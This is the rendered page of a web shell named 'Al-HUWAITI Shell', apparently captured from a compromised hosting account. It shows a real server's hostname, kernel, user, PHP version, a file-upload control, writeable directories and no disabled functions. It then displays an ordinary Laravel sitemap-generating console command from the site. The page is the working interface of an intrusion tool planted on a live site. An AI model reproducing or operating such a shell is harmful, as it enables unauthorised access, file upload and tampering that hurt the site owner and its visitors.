Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux server335.web-hosting.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : cardxfeb ( 2452)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/cardxfeb/www/app/Console/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/cardxfeb/www/app/Console/Commands/GenerateSiteMap.php
<?php

namespace App\Console\Commands;

use App\Models\Vcard;
use Illuminate\Console\Command;
use Spatie\Sitemap\SitemapGenerator;

class GenerateSiteMap extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'sitemap:generate';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Generate a site map for your vcard view urls';

    /**
     * Execute the console command.
     */
    public function handle(): void
    {
        $content = 'Sitemap: '.config('app.url').'/sitemap.xml
User-agent: *
Disallow:';

        file_put_contents(public_path('robots.txt'), $content);

        $activeVcard = Vcard::where('status', true)->pluck('url_alias', 'id')->toArray();

        $sitemap = SitemapGenerator::create(config('app.url'))->getSitemap();

        foreach ($activeVcard as $value) {
            $sitemap->add(route('vcard.show', ['alias' => $value]))
                ->writeToFile(public_path('sitemap.xml'));
        }
    }
}

Al-HUWAITI Shell